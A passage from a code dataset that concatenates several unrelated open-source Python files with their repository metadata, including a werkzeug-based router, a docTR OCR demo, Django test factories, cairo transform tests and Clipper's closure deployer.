Include): walked.extend( self.walk_routes( item.routes, url_prefix + item.url, name_prefix + item.name + ":", ) ) return walked def lookup( self, path: str, method: str ) -> typing.Tuple[Route, typing.Dict[str, object]]: lookup_key = method + " " + path try: return self._lookup_cache[lookup_key] except KeyError: pass try: name, path_params = self.adapter.match(path, method) except werkzeug.exceptions.NotFound: raise exceptions.NotFound() from None except werkzeug.exceptions.MethodNotAllowed: raise exceptions.MethodNotAllowed() from None except werkzeug.routing.RequestRedirect as exc: path = urlparse(exc.new_url).path raise exceptions.Found(path) from None route = self.name_lookups[name] self._lookup_cache[lookup_key] = (route, path_params) if len(self._lookup_cache) > self._lookup_cache_size: # pragma: nocover self._lookup_cache.pop(next(iter(self._lookup_cache))) return route, path_params def reverse_url(self, name: str, **params: object) -> typing.Optional[str]: try: return self.adapter.build(name, params) # type: ignore except werkzeug.routing.BuildError as exc: raise exceptions.NoReverseMatch(str(exc)) from None
34.436782
88
0.554239
import inspect import re import uuid import typing import werkzeug import types from werkzeug.routing import Map, Rule from urllib.parse import urlparse from .utils import import_string from . import exceptions Handler = typing.Union[str, typing.Callable[..., typing.Any]] class Route: name: str def __init__( self, url: str, method: str, handler: typing.Union[Handler, typing.List[Handler]], name: typing.Optional[str] = None, standalone: bool = False, ): if isinstance(handler, list): handlers = [] for item in handler: obj = import_string(item) if isinstance(item, str) else item assert isinstance(obj, types.FunctionType) handlers.append(obj) else: obj = import_string(handler) if isinstance(handler, str) else handler assert isinstance(obj, types.FunctionType) handlers = [obj] if len(handlers) > 1: assert name is not None self.name = name else: self.name = name or handlers[0].__name__ self.handlers = tuple(handlers) self.url = url self.method = method self.standalone = standalone self.support_request_data = method in ("POST", "PUT", "PATCH", "DELETE") class BaseRouter: def lookup( self, path: str, method: str ) -> typing.Tuple[Route, typing.Dict[str, object]]: raise NotImplementedError() def reverse_url(self, name: str, **params: object) -> typing.Optional[str]: raise NotImplementedError() class Include: def __init__( self, url: str, name: str, routes: typing.Union[str, typing.List[typing.Union[Route, "Include"]]], ): self.url = url self.name = name if isinstance(routes, str): obj = import_string(routes, list) else: obj = routes self.routes = [] for item in obj: if not isinstance(item, (Route, Include)): raise exceptions.ConfigurationError( "Route or Include expected, got %r" % item ) self.routes.append(item) class Router(BaseRouter): def __init__(self, routes: typing.List[typing.Union[Route, Include]]): rules = [] name_lookups = {} for path, name, route in self.walk_routes(routes): path_params = [item.strip("{}") for item in re.findall("{[^}]*}", path)] args: typing.Dict[str, typing.Type[object]] = {} for handler in route.handlers: for param_name, param in inspect.signature(handler).parameters.items(): if param_name in args: if args[param_name] != param.annotation: msg = ( f"Parameter {param_name} has different signatures: " f"{args[param_name]} and {param.annotation}" ) raise exceptions.ConfigurationError(msg) else: args[param_name] = param.annotation for path_param in path_params: if path_param.startswith("+"): path = path.replace( "{%s}" % path_param, "<path:%s>" % path_param.lstrip("+") ) else: path = path.replace("{%s}" % path_param, "<string:%s>" % path_param) rule = Rule(path, methods=[route.method], endpoint=name) rules.append(rule) name_lookups[name] = route self.adapter = Map(rules).bind("") self.name_lookups = name_lookups self._lookup_cache: typing.Dict[ str, typing.Tuple[Route, typing.Dict[str, object]] ] = {} self._lookup_cache_size = 10000 def walk_routes( self, routes: typing.List[typing.Union[Route, Include]], url_prefix: str = "", name_prefix: str = "", ) -> typing.List[typing.Tuple[str, str, Route]]: walked = [] for item in routes: if isinstance(item, Route): walked.append((url_prefix + item.url, name_prefix + item.name, item)) elif isinstance(item, Include): walked.extend( self.walk_routes( item.routes, url_prefix + item.url, name_prefix + item.name + ":", ) ) return walked def lookup( self, path: str, method: str ) -> typing.Tuple[Route, typing.Dict[str, object]]: lookup_key = method + " " + path try: return self._lookup_cache[lookup_key] except KeyError: pass try: name, path_params = self.adapter.match(path, method) except werkzeug.exceptions.NotFound: raise exceptions.NotFound() from None except werkzeug.exceptions.MethodNotAllowed: raise exceptions.MethodNotAllowed() from None except werkzeug.routing.RequestRedirect as exc: path = urlparse(exc.new_url).path raise exceptions.Found(path) from None route = self.name_lookups[name] self._lookup_cache[lookup_key] = (route, path_params) if len(self._lookup_cache) > self._lookup_cache_size: self._lookup_cache.pop(next(iter(self._lookup_cache))) return route, path_params def reverse_url(self, name: str, **params: object) -> typing.Optional[str]: try: return self.adapter.build(name, params) except werkzeug.routing.BuildError as exc: raise exceptions.NoReverseMatch(str(exc)) from None
true
true
f7f3c1c674a240f7307123be97a057c4ef401586
4,032
py
Python
demo/app.py
Pandinosaurus/doctr
3d645ce7d3d4fe36aa53537d4e4f92507f6cd422
[ "Apache-2.0" ]
2
2021-12-17T03:36:56.000Z
2022-01-31T06:21:55.000Z
demo/app.py
Pandinosaurus/doctr
3d645ce7d3d4fe36aa53537d4e4f92507f6cd422
[ "Apache-2.0" ]
1
2022-02-10T19:50:56.000Z
2022-02-10T19:50:56.000Z
demo/app.py
Pandinosaurus/doctr
3d645ce7d3d4fe36aa53537d4e4f92507f6cd422
[ "Apache-2.0" ]
null
null
null
# Copyright (C) 2021-2022, Mindee. # This program is licensed under the Apache License version 2. # See LICENSE or go to <https://www.apache.org/licenses/LICENSE-2.0.txt> for full license details. import os import matplotlib.pyplot as plt import streamlit as st os.environ["TF_CPP_MIN_LOG_LEVEL"] = "2" import cv2 import tensorflow as tf gpu_devices = tf.config.experimental.list_physical_devices('GPU') if any(gpu_devices): tf.config.experimental.set_memory_growth(gpu_devices[0], True) from doctr.io import DocumentFile from doctr.models import ocr_predictor from doctr.utils.visualization import visualize_page DET_ARCHS = ["db_resnet50", "db_mobilenet_v3_large", "linknet_resnet18_rotation"] RECO_ARCHS = ["crnn_vgg16_bn", "crnn_mobilenet_v3_small", "master", "sar_resnet31"] def main(): # Wide mode st.set_page_config(layout="wide") # Designing the interface st.title("docTR: Document Text Recognition") # For newline st.write('\n') # Instructions st.markdown("*Hint: click on the top-right corner of an image to enlarge it!*") # Set the columns cols = st.columns((1, 1, 1, 1)) cols[0].subheader("Input page") cols[1].subheader("Segmentation heatmap") cols[2].subheader("OCR output") cols[3].subheader("Page reconstitution") # Sidebar # File selection st.sidebar.title("Document selection") # Disabling warning st.set_option('deprecation.showfileUploaderEncoding', False) # Choose your own image uploaded_file = st.sidebar.file_uploader("Upload files", type=['pdf', 'png', 'jpeg', 'jpg']) if uploaded_file is not None: if uploaded_file.name.endswith('.pdf'): doc = DocumentFile.from_pdf(uploaded_file.read()) else: doc = DocumentFile.from_images(uploaded_file.read()) page_idx = st.sidebar.selectbox("Page selection", [idx + 1 for idx in range(len(doc))]) - 1 cols[0].image(doc[page_idx]) # Model selection st.sidebar.title("Model selection") det_arch = st.sidebar.selectbox("Text detection model", DET_ARCHS) reco_arch = st.sidebar.selectbox("Text recognition model", RECO_ARCHS) # For newline st.sidebar.write('\n') if st.sidebar.button("Analyze page"): if uploaded_file is None: st.sidebar.write("Please upload a document") else: with st.spinner('Loading model...'): predictor = ocr_predictor( det_arch, reco_arch, pretrained=True, assume_straight_pages=(det_arch != "linknet_resnet18_rotation") ) with st.spinner('Analyzing...'): # Forward the image to the model processed_batches = predictor.det_predictor.pre_processor([doc[page_idx]]) out = predictor.det_predictor.model(processed_batches[0], return_model_output=True) seg_map = out["out_map"] seg_map = tf.squeeze(seg_map[0, ...], axis=[2]) seg_map = cv2.resize(seg_map.numpy(), (doc[page_idx].shape[1], doc[page_idx].shape[0]), interpolation=cv2.INTER_LINEAR) # Plot the raw heatmap fig, ax = plt.subplots() ax.imshow(seg_map) ax.axis('off') cols[1].pyplot(fig) # Plot OCR output out = predictor([doc[page_idx]]) fig = visualize_page(out.pages[0].export(), doc[page_idx], interactive=False) cols[2].pyplot(fig) # Page reconsitution under input page page_export = out.pages[0].export() if det_arch != "linknet_resnet18_rotation": img = out.pages[0].synthesize() cols[3].image(img, clamp=True) # Display JSON st.markdown("\nHere are your analysis results in JSON format:") st.json(page_export) if __name__ == '__main__': main()
35.368421
103
0.621528
import os import matplotlib.pyplot as plt import streamlit as st os.environ["TF_CPP_MIN_LOG_LEVEL"] = "2" import cv2 import tensorflow as tf gpu_devices = tf.config.experimental.list_physical_devices('GPU') if any(gpu_devices): tf.config.experimental.set_memory_growth(gpu_devices[0], True) from doctr.io import DocumentFile from doctr.models import ocr_predictor from doctr.utils.visualization import visualize_page DET_ARCHS = ["db_resnet50", "db_mobilenet_v3_large", "linknet_resnet18_rotation"] RECO_ARCHS = ["crnn_vgg16_bn", "crnn_mobilenet_v3_small", "master", "sar_resnet31"] def main(): st.set_page_config(layout="wide") st.title("docTR: Document Text Recognition") st.write('\n') st.markdown("*Hint: click on the top-right corner of an image to enlarge it!*") cols = st.columns((1, 1, 1, 1)) cols[0].subheader("Input page") cols[1].subheader("Segmentation heatmap") cols[2].subheader("OCR output") cols[3].subheader("Page reconstitution") st.sidebar.title("Document selection") st.set_option('deprecation.showfileUploaderEncoding', False) uploaded_file = st.sidebar.file_uploader("Upload files", type=['pdf', 'png', 'jpeg', 'jpg']) if uploaded_file is not None: if uploaded_file.name.endswith('.pdf'): doc = DocumentFile.from_pdf(uploaded_file.read()) else: doc = DocumentFile.from_images(uploaded_file.read()) page_idx = st.sidebar.selectbox("Page selection", [idx + 1 for idx in range(len(doc))]) - 1 cols[0].image(doc[page_idx]) st.sidebar.title("Model selection") det_arch = st.sidebar.selectbox("Text detection model", DET_ARCHS) reco_arch = st.sidebar.selectbox("Text recognition model", RECO_ARCHS) st.sidebar.write('\n') if st.sidebar.button("Analyze page"): if uploaded_file is None: st.sidebar.write("Please upload a document") else: with st.spinner('Loading model...'): predictor = ocr_predictor( det_arch, reco_arch, pretrained=True, assume_straight_pages=(det_arch != "linknet_resnet18_rotation") ) with st.spinner('Analyzing...'): processed_batches = predictor.det_predictor.pre_processor([doc[page_idx]]) out = predictor.det_predictor.model(processed_batches[0], return_model_output=True) seg_map = out["out_map"] seg_map = tf.squeeze(seg_map[0, ...], axis=[2]) seg_map = cv2.resize(seg_map.numpy(), (doc[page_idx].shape[1], doc[page_idx].shape[0]), interpolation=cv2.INTER_LINEAR) fig, ax = plt.subplots() ax.imshow(seg_map) ax.axis('off') cols[1].pyplot(fig) out = predictor([doc[page_idx]]) fig = visualize_page(out.pages[0].export(), doc[page_idx], interactive=False) cols[2].pyplot(fig) page_export = out.pages[0].export() if det_arch != "linknet_resnet18_rotation": img = out.pages[0].synthesize() cols[3].image(img, clamp=True) st.markdown("\nHere are your analysis results in JSON format:") st.json(page_export) if __name__ == '__main__': main()
true
true
f7f3c1e9dfd0b5d9c7dad89e7bfd4d0af8294ef4
1,005
py
Python
backend/sellers/factories.py
waterunder/dashboard
3790537ce29f83d631e0c14c12fff77515759e5b
[ "MIT" ]
null
null
null
backend/sellers/factories.py
waterunder/dashboard
3790537ce29f83d631e0c14c12fff77515759e5b
[ "MIT" ]
75
2020-08-17T15:22:42.000Z
2021-12-09T09:11:37.000Z
backend/sellers/factories.py
waterunder/dashboard
3790537ce29f83d631e0c14c12fff77515759e5b
[ "MIT" ]
null
null
null
from random import choice import factory from django.contrib.auth import get_user_model from sellers.models import Seller class UserFactory(factory.django.DjangoModelFactory): class Meta: model = get_user_model() first_name = factory.Faker('first_name') last_name = factory.Faker('last_name') email = factory.Faker('email') username = factory.Faker('user_name') class SellerFactory(factory.django.DjangoModelFactory): class Meta: model = Seller name = factory.Faker('company') description = factory.Faker('text') email = factory.Faker('email') address1 = factory.Faker('address') address2 = factory.Faker('address') zip_code = factory.Faker('zipcode') city = factory.Faker('city') country = choice(['ar', 'uk', 'us']) is_mock = factory.Faker('boolean') is_active = factory.Faker('boolean') logo = factory.Faker('image_url') header_image = factory.Faker('image_url') owner = factory.SubFactory(UserFactory)
28.714286
55
0.695522
from random import choice import factory from django.contrib.auth import get_user_model from sellers.models import Seller class UserFactory(factory.django.DjangoModelFactory): class Meta: model = get_user_model() first_name = factory.Faker('first_name') last_name = factory.Faker('last_name') email = factory.Faker('email') username = factory.Faker('user_name') class SellerFactory(factory.django.DjangoModelFactory): class Meta: model = Seller name = factory.Faker('company') description = factory.Faker('text') email = factory.Faker('email') address1 = factory.Faker('address') address2 = factory.Faker('address') zip_code = factory.Faker('zipcode') city = factory.Faker('city') country = choice(['ar', 'uk', 'us']) is_mock = factory.Faker('boolean') is_active = factory.Faker('boolean') logo = factory.Faker('image_url') header_image = factory.Faker('image_url') owner = factory.SubFactory(UserFactory)
true
true
f7f3c315716f6b4599ddf8a4aac0157173a40754
387
py
Python
authlib/jose/rfc7516/__init__.py
YPCrumble/authlib
782a0fced780849418dc2a869528d10387e24b65
[ "BSD-3-Clause" ]
1
2021-06-30T09:11:40.000Z
2021-06-30T09:11:40.000Z
authlib/jose/rfc7516/__init__.py
YPCrumble/authlib
782a0fced780849418dc2a869528d10387e24b65
[ "BSD-3-Clause" ]
10
2020-09-30T05:41:05.000Z
2021-11-03T08:55:31.000Z
authlib/jose/rfc7516/__init__.py
YPCrumble/authlib
782a0fced780849418dc2a869528d10387e24b65
[ "BSD-3-Clause" ]
2
2021-05-24T20:34:12.000Z
2022-03-26T07:46:17.000Z
""" authlib.jose.rfc7516 ~~~~~~~~~~~~~~~~~~~~~ This module represents a direct implementation of JSON Web Encryption (JWE). https://tools.ietf.org/html/rfc7516 """ from .jwe import JsonWebEncryption from .models import JWEAlgorithm, JWEEncAlgorithm, JWEZipAlgorithm __all__ = [ 'JsonWebEncryption', 'JWEAlgorithm', 'JWEEncAlgorithm', 'JWEZipAlgorithm' ]
20.368421
66
0.679587
from .jwe import JsonWebEncryption from .models import JWEAlgorithm, JWEEncAlgorithm, JWEZipAlgorithm __all__ = [ 'JsonWebEncryption', 'JWEAlgorithm', 'JWEEncAlgorithm', 'JWEZipAlgorithm' ]
true
true
f7f3c4fda7e2f137835a368bfc317de8bc7a9cee
170
py
Python
suma.py
financieras/coder
aecf02d6828d3a0c4d1c2b7cd935ed42545031b8
[ "MIT" ]
null
null
null
suma.py
financieras/coder
aecf02d6828d3a0c4d1c2b7cd935ed42545031b8
[ "MIT" ]
null
null
null
suma.py
financieras/coder
aecf02d6828d3a0c4d1c2b7cd935ed42545031b8
[ "MIT" ]
null
null
null
import sys nombre = sys.argv[0] valor1 = sys.argv[1] valor2 = sys.argv[2] # para ejecutar tecleamos en la terminal: # python3 suma.py 2 3 print(int(valor1) + int(valor2))
24.285714
41
0.717647
import sys nombre = sys.argv[0] valor1 = sys.argv[1] valor2 = sys.argv[2] print(int(valor1) + int(valor2))
true
true
f7f3c51e1d76795362979db58ffe977b9d1f6306
10,296
py
Python
clipper-parm/clipper_admin/clipper_admin/deployers/python.py
mukkachaitanya/parity-models
9f336a67798934d29592aca471dff6ad047473f6
[ "Apache-2.0" ]
32
2019-09-11T16:49:58.000Z
2022-01-26T15:40:40.000Z
clipper-parm/clipper_admin/clipper_admin/deployers/python.py
mukkachaitanya/parity-models
9f336a67798934d29592aca471dff6ad047473f6
[ "Apache-2.0" ]
5
2019-11-10T16:13:40.000Z
2022-01-13T01:31:51.000Z
clipper-parm/clipper_admin/clipper_admin/deployers/python.py
mukkachaitanya/parity-models
9f336a67798934d29592aca471dff6ad047473f6
[ "Apache-2.0" ]
9
2019-09-03T14:05:26.000Z
2021-12-22T07:17:27.000Z
from __future__ import print_function, with_statement, absolute_import import sys import logging import os import posixpath import shutil from ..version import __version__ from ..exceptions import ClipperException from .deployer_utils import save_python_function logger = logging.getLogger(__name__) def create_endpoint(clipper_conn, name, input_type, func, default_output="None", version=1, slo_micros=3000000, labels=None, registry=None, base_image="default", num_replicas=1, batch_size=-1, pkgs_to_install=None): """Registers an application and deploys the provided predict function as a model. Parameters ---------- clipper_conn : :py:meth:`clipper_admin.ClipperConnection` A ``ClipperConnection`` object connected to a running Clipper cluster. name : str The name to be assigned to both the registered application and deployed model. input_type : str The input_type to be associated with the registered app and deployed model. One of "integers", "floats", "doubles", "bytes", or "strings". func : function The prediction function. Any state associated with the function will be captured via closure capture and pickled with Cloudpickle. default_output : str, optional The default output for the application. The default output will be returned whenever an application is unable to receive a response from a model within the specified query latency SLO (service level objective). The reason the default output was returned is always provided as part of the prediction response object. Defaults to "None". version : str, optional The version to assign this model. Versions must be unique on a per-model basis, but may be re-used across different models. slo_micros : int, optional The query latency objective for the application in microseconds. This is the processing latency between Clipper receiving a request and sending a response. It does not account for network latencies before a request is received or after a response is sent. If Clipper cannot process a query within the latency objective, the default output is returned. Therefore, it is recommended that the SLO not be set aggressively low unless absolutely necessary. 100000 (100ms) is a good starting value, but the optimal latency objective will vary depending on the application. labels : list(str), optional A list of strings annotating the model. These are ignored by Clipper and used purely for user annotations. registry : str, optional The Docker container registry to push the freshly built model to. Note that if you are running Clipper on Kubernetes, this registry must be accessible to the Kubernetes cluster in order to fetch the container from the registry. base_image : str, optional The base Docker image to build the new model image from. This image should contain all code necessary to run a Clipper model container RPC client. num_replicas : int, optional The number of replicas of the model to create. The number of replicas for a model can be changed at any time with :py:meth:`clipper.ClipperConnection.set_num_replicas`. batch_size : int, optional The user-defined query batch size for the model. Replicas of the model will attempt to process at most `batch_size` queries simultaneously. They may process smaller batches if `batch_size` queries are not immediately available. If the default value of -1 is used, Clipper will adaptively calculate the batch size for individual replicas of this model. pkgs_to_install : list (of strings), optional A list of the names of packages to install, using pip, in the container. The names must be strings. """ clipper_conn.register_application(name, input_type, default_output, slo_micros) deploy_python_closure(clipper_conn, name, version, input_type, func, base_image, labels, registry, num_replicas, batch_size, pkgs_to_install) clipper_conn.link_model_to_app(name, name) def deploy_python_closure(clipper_conn, name, version, input_type, func, base_image="default", labels=None, registry=None, num_replicas=1, batch_size=-1, pkgs_to_install=None): """Deploy an arbitrary Python function to Clipper. The function should take a list of inputs of the type specified by `input_type` and return a Python list or numpy array of predictions as strings. Parameters ---------- clipper_conn : :py:meth:`clipper_admin.ClipperConnection` A ``ClipperConnection`` object connected to a running Clipper cluster. name : str The name to be assigned to both the registered application and deployed model. version : str The version to assign this model. Versions must be unique on a per-model basis, but may be re-used across different models. input_type : str The input_type to be associated with the registered app and deployed model. One of "integers", "floats", "doubles", "bytes", or "strings". func : function The prediction function. Any state associated with the function will be captured via closure capture and pickled with Cloudpickle. base_image : str, optional The base Docker image to build the new model image from. This image should contain all code necessary to run a Clipper model container RPC client. labels : list(str), optional A list of strings annotating the model. These are ignored by Clipper and used purely for user annotations. registry : str, optional The Docker container registry to push the freshly built model to. Note that if you are running Clipper on Kubernetes, this registry must be accesible to the Kubernetes cluster in order to fetch the container from the registry. num_replicas : int, optional The number of replicas of the model to create. The number of replicas for a model can be changed at any time with :py:meth:`clipper.ClipperConnection.set_num_replicas`. batch_size : int, optional The user-defined query batch size for the model. Replicas of the model will attempt to process at most `batch_size` queries simultaneously. They may process smaller batches if `batch_size` queries are not immediately available. If the default value of -1 is used, Clipper will adaptively calculate the batch size for individual replicas of this model. pkgs_to_install : list (of strings), optional A list of the names of packages to install, using pip, in the container. The names must be strings. Example ------- Define a pre-processing function ``center()`` and train a model on the pre-processed input:: from clipper_admin import ClipperConnection, DockerContainerManager from clipper_admin.deployers.python import deploy_python_closure import numpy as np import sklearn clipper_conn = ClipperConnection(DockerContainerManager()) # Connect to an already-running Clipper cluster clipper_conn.connect() def center(xs): means = np.mean(xs, axis=0) return xs - means centered_xs = center(xs) model = sklearn.linear_model.LogisticRegression() model.fit(centered_xs, ys) # Note that this function accesses the trained model via closure capture, # rather than having the model passed in as an explicit argument. def centered_predict(inputs): centered_inputs = center(inputs) # model.predict returns a list of predictions preds = model.predict(centered_inputs) return [str(p) for p in preds] deploy_python_closure( clipper_conn, name="example", input_type="doubles", func=centered_predict) """ serialization_dir = save_python_function(name, func) # Special handling for Windows, which uses backslash for path delimiting serialization_dir = posixpath.join(*os.path.split(serialization_dir)) logger.info("Python closure saved") py_minor_version = (sys.version_info.major, sys.version_info.minor) # Check if Python 2 or Python 3 image if base_image == "default": if py_minor_version < (3, 0): logger.info("Using Python 2 base image") base_image = "clipper/python-closure-container:{}".format( __version__) elif py_minor_version == (3, 5): logger.info("Using Python 3.5 base image") base_image = "clipper/python35-closure-container:{}".format( __version__) elif py_minor_version == (3, 6): logger.info("Using Python 3.6 base image") base_image = "clipper/python36-closure-container:{}".format( __version__) else: msg = ( "Python closure deployer only supports Python 2.7, 3.5, and 3.6. " "Detected {major}.{minor}").format( major=sys.version_info.major, minor=sys.version_info.minor) logger.error(msg) # Remove temp files shutil.rmtree(serialization_dir) raise ClipperException(msg) # Deploy function clipper_conn.build_and_deploy_model( name, version, input_type, serialization_dir, base_image, labels, registry, num_replicas, batch_size, pkgs_to_install) # Remove temp files shutil.rmtree(serialization_dir)
48.11215
96
0.657828
from __future__ import print_function, with_statement, absolute_import import sys import logging import os import posixpath import shutil from ..version import __version__ from ..exceptions import ClipperException from .deployer_utils import save_python_function logger = logging.getLogger(__name__) def create_endpoint(clipper_conn, name, input_type, func, default_output="None", version=1, slo_micros=3000000, labels=None, registry=None, base_image="default", num_replicas=1, batch_size=-1, pkgs_to_install=None): clipper_conn.register_application(name, input_type, default_output, slo_micros) deploy_python_closure(clipper_conn, name, version, input_type, func, base_image, labels, registry, num_replicas, batch_size, pkgs_to_install) clipper_conn.link_model_to_app(name, name) def deploy_python_closure(clipper_conn, name, version, input_type, func, base_image="default", labels=None, registry=None, num_replicas=1, batch_size=-1, pkgs_to_install=None): serialization_dir = save_python_function(name, func) serialization_dir = posixpath.join(*os.path.split(serialization_dir)) logger.info("Python closure saved") py_minor_version = (sys.version_info.major, sys.version_info.minor) if base_image == "default": if py_minor_version < (3, 0): logger.info("Using Python 2 base image") base_image = "clipper/python-closure-container:{}".format( __version__) elif py_minor_version == (3, 5): logger.info("Using Python 3.5 base image") base_image = "clipper/python35-closure-container:{}".format( __version__) elif py_minor_version == (3, 6): logger.info("Using Python 3.6 base image") base_image = "clipper/python36-closure-container:{}".format( __version__) else: msg = ( "Python closure deployer only supports Python 2.7, 3.5, and 3.6. " "Detected {major}.{minor}").format( major=sys.version_info.major, minor=sys.version_info.minor) logger.error(msg) shutil.rmtree(serialization_dir) raise ClipperException(msg) clipper_conn.build_and_deploy_model( name, version, input_type, serialization_dir, base_image, labels, registry, num_replicas, batch_size, pkgs_to_install) shutil.rmtree(serialization_dir)
true
true
f7f3c9afbc832eaecd8a888f3c5677b2ba9d8a9b
744
py
Python
craynn/subnetworks/column_nets.py
maxim-borisyak/craynn
fceabd33f5969033fb3605f894778c42c42f3e08
[ "MIT" ]
null
null
null
craynn/subnetworks/column_nets.py
maxim-borisyak/craynn
fceabd33f5969033fb3605f894778c42c42f3e08
[ "MIT" ]
null
null
null
craynn/subnetworks/column_nets.py
maxim-borisyak/craynn
fceabd33f5969033fb3605f894778c42c42f3e08
[ "MIT" ]
null
null
null
from ..layers import * __all__ = [ 'column_module', 'column' ] def _column_module(incoming, ops, factor_pool_op=channel_factor_pool(2), merge_op=elementwise_mean()): return merge_op([ op(factor_pool_op(incoming)) for op in ops ]) column_module = lambda ops, factor_pool_op=channel_factor_pool(2), merge_op=elementwise_mean(): lambda incoming: \ _column_module(incoming, ops, factor_pool_op, merge_op) column = lambda num_filters_per_column, column_channels, number_of_columns=2, conv=conv, factor_pool=channel_factor_pool, merge_op=elementwise_mean(): lambda incoming: \ _column_module( incoming, [conv(num_filters_per_column) for _ in range(number_of_columns)], channel_pool(column_channels), merge_op )
33.818182
169
0.767473
from ..layers import * __all__ = [ 'column_module', 'column' ] def _column_module(incoming, ops, factor_pool_op=channel_factor_pool(2), merge_op=elementwise_mean()): return merge_op([ op(factor_pool_op(incoming)) for op in ops ]) column_module = lambda ops, factor_pool_op=channel_factor_pool(2), merge_op=elementwise_mean(): lambda incoming: \ _column_module(incoming, ops, factor_pool_op, merge_op) column = lambda num_filters_per_column, column_channels, number_of_columns=2, conv=conv, factor_pool=channel_factor_pool, merge_op=elementwise_mean(): lambda incoming: \ _column_module( incoming, [conv(num_filters_per_column) for _ in range(number_of_columns)], channel_pool(column_channels), merge_op )
true
true
f7f3c9e805a683fb46959bde6a22615f682c5974
2,873
py
Python
test/test_transform.py
sthagen/martinmcbride-generativepy
0467f2c5d91c71f797304efcb763761fbd0f9162
[ "MIT" ]
null
null
null
test/test_transform.py
sthagen/martinmcbride-generativepy
0467f2c5d91c71f797304efcb763761fbd0f9162
[ "MIT" ]
null
null
null
test/test_transform.py
sthagen/martinmcbride-generativepy
0467f2c5d91c71f797304efcb763761fbd0f9162
[ "MIT" ]
null
null
null
import unittest import cairo from generativepy.geometry import Transform class TestTransform(unittest.TestCase): def test_scale(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).scale(2, 3): self.assertEqual([2, 0, 0, 3, 0, 0], list(ctx.get_matrix())) def test_scale_centre(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).scale(2, 3, (50, 100)): self.assertEqual([2, 0, 0, 3, -50, -200], list(ctx.get_matrix())) def test_translate(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).translate(20, 30): self.assertEqual([1, 0, 0, 1, 20, 30], list(ctx.get_matrix())) def test_rotate(self): expected = [0.9950041652780258, 0.09983341664682815, -0.09983341664682815, 0.9950041652780258, 0.0, 0.0] surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).rotate(0.1): self.assertEqual(expected, list(ctx.get_matrix())) def test_rotate_centre(self): expected = [0.9800665778412416, 0.19866933079506122, -0.19866933079506122, 0.9800665778412416, 20.863604187444043, -7.940124323877214] surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).rotate(0.2, (50, 100)): self.assertEqual(expected, list(ctx.get_matrix())) def test_nested_transforms(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).translate(1, 2): self.assertEqual([1, 0, 0, 1, 1, 2], list(ctx.get_matrix())) with Transform(ctx).scale(10, 20) as t: self.assertEqual([10, 0, 0, 20, 1, 2], list(ctx.get_matrix())) t.translate(5, 6) self.assertEqual([10, 0, 0, 20, 51, 122], list(ctx.get_matrix())) self.assertEqual([1, 0, 0, 1, 1, 2], list(ctx.get_matrix())) def test_matrix(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).matrix([1, 0, 0, 1, 1, 2]): with Transform(ctx).matrix([10, 0, 0, 20, 0, 0]): with Transform(ctx).matrix([1, 0, 0, 1, 5, 6]): self.assertEqual([10.0, 0.0, 0.0, 20.0, 51.0, 122.0], list(ctx.get_matrix())) if __name__ == '__main__': unittest.main()
39.902778
97
0.573964
import unittest import cairo from generativepy.geometry import Transform class TestTransform(unittest.TestCase): def test_scale(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).scale(2, 3): self.assertEqual([2, 0, 0, 3, 0, 0], list(ctx.get_matrix())) def test_scale_centre(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).scale(2, 3, (50, 100)): self.assertEqual([2, 0, 0, 3, -50, -200], list(ctx.get_matrix())) def test_translate(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).translate(20, 30): self.assertEqual([1, 0, 0, 1, 20, 30], list(ctx.get_matrix())) def test_rotate(self): expected = [0.9950041652780258, 0.09983341664682815, -0.09983341664682815, 0.9950041652780258, 0.0, 0.0] surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).rotate(0.1): self.assertEqual(expected, list(ctx.get_matrix())) def test_rotate_centre(self): expected = [0.9800665778412416, 0.19866933079506122, -0.19866933079506122, 0.9800665778412416, 20.863604187444043, -7.940124323877214] surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).rotate(0.2, (50, 100)): self.assertEqual(expected, list(ctx.get_matrix())) def test_nested_transforms(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).translate(1, 2): self.assertEqual([1, 0, 0, 1, 1, 2], list(ctx.get_matrix())) with Transform(ctx).scale(10, 20) as t: self.assertEqual([10, 0, 0, 20, 1, 2], list(ctx.get_matrix())) t.translate(5, 6) self.assertEqual([10, 0, 0, 20, 51, 122], list(ctx.get_matrix())) self.assertEqual([1, 0, 0, 1, 1, 2], list(ctx.get_matrix())) def test_matrix(self): surface = cairo.ImageSurface(cairo.FORMAT_RGB24, 100, 200) ctx = cairo.Context(surface) with Transform(ctx).matrix([1, 0, 0, 1, 1, 2]): with Transform(ctx).matrix([10, 0, 0, 20, 0, 0]): with Transform(ctx).matrix([1, 0, 0, 1, 5, 6]): self.assertEqual([10.0, 0.0, 0.0, 20.0, 51.0, 122.0], list(ctx.get_matrix())) if __name__ == '__main__': unittest.main()
true
true
f7f3cb4be54c13afff59c89da0f12480789914db
21
py
Python
portfolio/Python/scrapy/tal/__init__.py
0--key/lib
ba7a85dda2b208adc290508ca617bdc55a5ded22
[ "Apache-2.0" ]
null
null
null
portfolio/Python/scrapy/tal/__init__.py
0--key/lib
ba7a85dda2b208adc290508ca617bdc55a5ded22
[ "Apache-2.0" ]
null
null
null
portfolio/Python/scrapy/tal/__init__.py
0--key/lib
ba7a85dda2b208adc290508ca617bdc55a5ded22
[ "Apache-2.0" ]
5
2016-03-22T07:40:46.000Z
